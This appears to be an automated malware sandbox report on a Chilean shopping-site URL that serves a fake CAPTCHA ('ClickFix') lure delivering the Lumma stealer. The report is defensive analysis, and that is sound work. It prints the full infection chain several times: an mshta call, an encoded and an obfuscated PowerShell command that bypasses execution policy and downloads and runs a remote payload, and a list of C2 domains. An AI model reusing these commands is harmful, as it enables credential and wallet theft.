Edit tour

Windows Analysis Report
https://patiooutletmaipu.cl/tiendas/head/

Overview

General Information

Sample URL:	https://patiooutletmaipu.cl/tiendas/head/
Analysis ID:	1588103
Infos:

Detection

LummaC, CAPTCHA Scam ClickFix, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detect drive by download via clipboard copy & paste

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

Yara detected LummaC Stealer

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTML page contains hidden javascript code

HTML page contains obfuscated script src

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1944,i,6179570645795824740,2383523467287587005,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 1632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://patiooutletmaipu.cl/tiendas/head/" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

mshta.exe (PID: 7780 cmdline: "C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323 # ? ''I am not a robot - reCAPTCHA Verification ID: 9977'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7936 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8096 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5932 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["truculengisau.biz", "marketlumpe.biz", "nuttyshopr.biz", "grandiouseziu.biz", "fraggielek.biz", "beliefbidu.cyou", "littlenotii.biz", "punishzement.biz", "spookycappy.biz"], "Build id": "jMw1IE--SHELLS"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.2215255355.0000000009330000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 8096	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf35416:$b2: ::FromBase64String( 0x2edb3e:$s1: -join 0x2ee3a8:$s1: -join 0x37126a:$s1: -join 0x709051:$s1: -join 0x70ac51:$s1: -join 0x70addd:$s1: -join 0x70f256:$s1: -join 0xd05390:$s1: -join 0xd12465:$s1: -join 0xd15837:$s1: -join 0xd15ee9:$s1: -join 0xd179da:$s1: -join 0xd19be0:$s1: -join 0xd1a407:$s1: -join 0xd1ac77:$s1: -join 0xd1b3b2:$s1: -join 0xd1b3e4:$s1: -join 0xd1b42c:$s1: -join 0xd1b44b:$s1: -join 0xd1bc9b:$s1: -join
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
20.2.powershell.exe.9330000.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
20.2.powershell.exe.9330000.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

HTML

Source	Rule	Description	Author
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.3.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAE

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAE

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQB

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU 